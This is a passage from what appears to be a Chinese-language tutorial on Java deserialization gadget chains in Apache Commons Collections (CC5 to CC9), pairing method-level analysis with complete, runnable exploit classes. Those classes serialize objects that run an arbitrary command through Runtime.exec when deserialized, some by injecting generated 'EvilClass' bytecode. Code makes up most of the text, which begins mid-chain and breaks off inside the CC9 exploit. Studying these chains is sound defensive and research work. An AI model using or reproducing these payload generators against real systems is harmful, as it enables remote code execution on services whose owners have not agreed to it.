ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null // 📌 System.getSecurityManager() 需要返回 null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString(); // 👈 调用 val 成员的 toString 方法
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

TiedMapEntrytoString 方法最终会调用到 map.get 方法,正好可以与 LazyMap 的利用链结合。

1
2
3
4
5
6
7
public String toString() {
return getKey() + "=" + getValue();
}

public Object getValue() {
return map.get(key);
}

利用代码(CC3/CC4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections5 {

public static Object getObject(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(outerMap, Runtime.class);
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setFieldValue(exception, "val", entry);
return exception;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections5 {

public static Object getObject(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(outerMap, Runtime.class);
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setFieldValue(exception, "val", entry);
return exception;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

CC6

1
2
3
4
5
6
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74)
at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.readObject(HashMap.java:1397)

原理分析(HashMap→TiedMapEntry→LazyMap)

org.apache.commons.collections.keyvalue.TiedMapEntryhashCode 方法会调用到内部成员 mapget 方法,如果 mapLazyMap 修饰过就可以调用到 transform 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;

public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public Object getValue() {
return map.get(key);
}

public int hashCode() {
Object value = getValue();
// [...]
}

// [...]
}

提示

另外触发 TiedMapEntry#getValue 触发 LazyMap#get 函数调用时传入的参数是可控的 TiedMapEntry#key,我们可以借助这个特性优化掉 ChainedTransformer 中的 ConstantTransformer;再结合 CC3 任意字节码加载可以优化掉整个 ChainedTransformer

java.util.HashMap#readObject 方法会对 key 调用 hash 方法,进而调用 keyhashCode 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
// [...]
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
// [...]
}

利用代码(CC3/CC4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.*;
import java.lang.reflect.Field;

public class CommonsCollections6 {

public static Object getObject(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(outerMap, Runtime.class);
Map triggerMap = new HashMap();
triggerMap.put(entry, "foo");
outerMap.clear();

setFieldValue(transformerChain, "iTransformers", transformers);

return triggerMap;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.util.*;
import java.lang.reflect.Field;

public class CommonsCollections6 {

public static Object getObject(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(outerMap, Runtime.class);
Map triggerMap = new HashMap();
triggerMap.put(entry, "foo");
outerMap.clear();

setFieldValue(transformerChain, "iTransformers", transformers);

return triggerMap;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

提示

需要注意的是 HashMapput 方法同样对 key 调用 hash 方法,进而调用 keyhashCode 方法。

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

因此在 poc 中当我们 triggerMap.put(entry, "123") 时会调用 TiedMapEntry#hashCode 从而调用 LazyMap#get,使得 TiedMapEntry#key 已经放到 TiedMapEntry#mapLazyMap)中了,因此会导致后续反序列化虽然调用到 LazyMap#get,但是调用不到 transform 方法。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

解决方法是调用 LazyMap#clear 清空 LazyMap

CC7

1
2
3
4
5
6
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
at java.util.AbstractMap.equals(AbstractMap.java:469)
at org.apache.commons.collections.map.AbstractMapDecorator.equals(AbstractMapDecorator.java:130)
at java.util.Hashtable.reconstitutionPut(Hashtable.java:1221)
at java.util.Hashtable.readObject(Hashtable.java:1195)

原理分析(Hashtable→LazyMap)

HashtablereadObject 调用 reconstitutionPut 函数将反序列化出的键值对存储到哈希表 table 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 自定义反序列化:把 Hashtable 从字节流还原为内存结构。
// 步骤:读取基础字段(size、threshold、loadFactor 等) → 读取元素个数 elements → 逐对读取 key/value → 放入哈希表。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// 读取默认可序列化字段(如 size、threshold、loadFactor、table 容量信息等)
s.defaultReadObject();

// [...]

// 依次读取 elements 对键值(序列化时按 key、value 成对写入)
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject(); // 读取一个 key(若为 null,后续 hashCode() 将抛 NPE)
@SuppressWarnings("unchecked")
V value = (V) s.readObject(); // 读取一个 value(Hashtable 不允许 null 值)

// 反序列化出的键值对存储到哈希表中
reconstitutionPut(table, key, value);
}
}

reconstitutionPut 函数先对传入的 key 调用 hashCode 方法得到哈希值,然后计算出哈希值对应哈希表的下标 index。在哈希表 tab 中遍历 index 对应的那一项中的每一个元素 e,然后判断该元素的哈希值与当前要添加的那一项的哈希值是否相等。如果哈希值相等则调用 e.key.equals 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 将一对 key/value 插入到哈希表 bucket 中(用于“重建”过程)。
// 要求:value 不能为 null;且哈希表中不应已存在相同 key(否则视为流损坏)。
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
// Hashtable 语义:不允许 null 值;若读到 null,认为序列化流被篡改或损坏
if (value == null) {
throw new java.io.StreamCorruptedException();
}

// 计算 key 的哈希,并规整为非负数
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;

// 确认该 bucket 链表中没有重复 key
for (Entry<?,?> e = tab[index]; e != null; e = e.next) {
// 先比预存的 hash,再比 equals,避免重复键
if ((e.hash == hash) && e.key.equals(key)) { // ✅ 调用 e.key.equals
throw new java.io.StreamCorruptedException();
}
}

// 头插法创建并挂接新结点
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>) tab[index];
tab[index] = new Entry<>(hash, key, value, e);

// 更新元素计数
count++;
}

对于 HashMapLazyMap 有如下继承关系:

image-20241108030406773
可以看到,HashMap 继承于 AbstraceMapLazyMap 继承于 AbstractMapDecorator

因此如果 HashTable 中的 key 都是 LazyMap 修饰的 HashMap 那么 e.key.equals 调用的是 LazyMap#equals → AbstractMapDecorator#equals

然后 AbstractMapDecorator#equals 调用的是 HashMap#equals → AbstractMap#equals

1
2
3
4
5
6
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object); // 👈 调用 HashMap#equals → AbstractMap#equals
}

AbstractMap#equals 会将传入参与比较的 LazyMap 与自身进行比较。比较过程中为了判断包含的键值对是否相同,会调用 LazyMap 参数的 LazyMap#get 进而触发 transform 方法调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public boolean equals(Object o) {
if (o == this) // 确保不是同一个 LazyMap 对象
return true;

if (!(o instanceof Map))
return false;

// 📌 将参与比较的 o 转换为 Map 类型的 m
// 这里的 m 是另一个 LazyMap
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key))) // ✅ 调用 LazyMap#get
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

根据前面的分析可知我们可以在 Hashtable 放两个键值对满足两个键哈希值相同但不是同一个的 LazyMap 对像。而 LazyMap 的哈希值实际上就是 Map 中所有「键和值的哈希的异或值」之和。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Object
public static int hashCode(Object o) {
return o != null ? o.hashCode() : 0;
}

// HashMap$Node (Map.Entry)
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}

// AbstraceMap
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}

// AbstractMapDecorator
public int hashCode() {
return map.hashCode();
}

key.hashCode();

我们不妨让键值对中的值相等,那么就只需要考虑找哈希相等且值不同的键。

我们选择 java.lang.String 类型的键,这个类型的 hashCode 实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;

for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}

我们很容易就想到可以构造长度为 2 的字符串,然后通过前一个字符的 ascii 码加 1 然后后一个字符的 ascii 码减 31 抵消前一个字符的影响来得到两个哈希相同的字符串(例如 Aa[65,97][65+1,97-31][66,66]BB)。

利用代码(CC3/CC4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {

public static Object getObject(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd}),
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map outerMap1 = LazyMap.decorate(innerMap1, transformerChain);
Map outerMap2 = LazyMap.decorate(innerMap2, transformerChain);
outerMap1.put("Aa", null);
outerMap2.put("BB", null);

Hashtable hashtable = new Hashtable();
hashtable.put(outerMap1, 1);
hashtable.put(outerMap2, 1);

outerMap2.remove("Aa");
setFieldValue(transformerChain, "iTransformers", transformers);

return hashtable;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {

public static Object getObject(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{cmd}),
};
Transformer transformerChain = new ChainedTransformer(new ConstantTransformer(1));

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map outerMap1 = LazyMap.lazyMap(innerMap1, transformerChain);
Map outerMap2 = LazyMap.lazyMap(innerMap2, transformerChain);
outerMap1.put("Aa", null);
outerMap2.put("BB", null);

Hashtable hashtable = new Hashtable();
hashtable.put(outerMap1, 1);
hashtable.put(outerMap2, 1);

outerMap2.remove("Aa");
setFieldValue(transformerChain, "iTransformers", transformers);

return hashtable;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

提示

由于 Hashtable#put 也会调用 entry.key.equals 方法导致利用链被触发一次,因此需要将调用 LazyMap#get 时加入的 key 去掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}

// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}

addEntry(hash, key, value, index);
return null;
}

另外 Hashtable#put 调用的 entry.key.equals 需要返回 false 才能把第二个键值对放入 Hashtable。在 AbstraceMap#equals 中,如果 valuenull 的话只需要让 m.get(key) 返回不为 null 即可。而 transformer 方法返回不为 null 很容易满足。

1
2
3
4
5
6
7
8
9
10
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}

CC8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64)
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:116)
at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:32)
at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
at java.util.TreeMap.compare(TreeMap.java:1291)
at java.util.TreeMap.put(TreeMap.java:538)
at org.apache.commons.collections4.bag.AbstractMapBag.doReadObject(AbstractMapBag.java:524)
at org.apache.commons.collections4.bag.TreeBag.readObject(TreeBag.java:129)

原理分析(TreeBag→TransformingComparator)

本质就是 CC2(CC4),只不过把 PriorityQueue 换成了 TreeBag

利用代码(CC4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class CommonsCollections8 {
public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(0));
TreeBag tree = new TreeBag(comparator);
tree.add(TrAXFilter.class);

setFieldValue(comparator, "transformer", new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));

return tree;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

CC9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64)
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at org.apache.commons.collections.functors.InstantiateTransformer.transform(InstantiateTransformer.java:106)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74)
at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121)
at java.util.Hashtable.reconstitutionPut(Hashtable.java:1218)
at java.util.Hashtable.readObject(Hashtable.java:1195)

原理分析(HashTable→TiedMapEntry→LazyMap)

在 CC6 的基础上把 HashMap 替换为 HashTable

利用代码(CC3/CC4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.util.*;
import java.lang.reflect.Field;

public class CommonsCollections9 {

public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

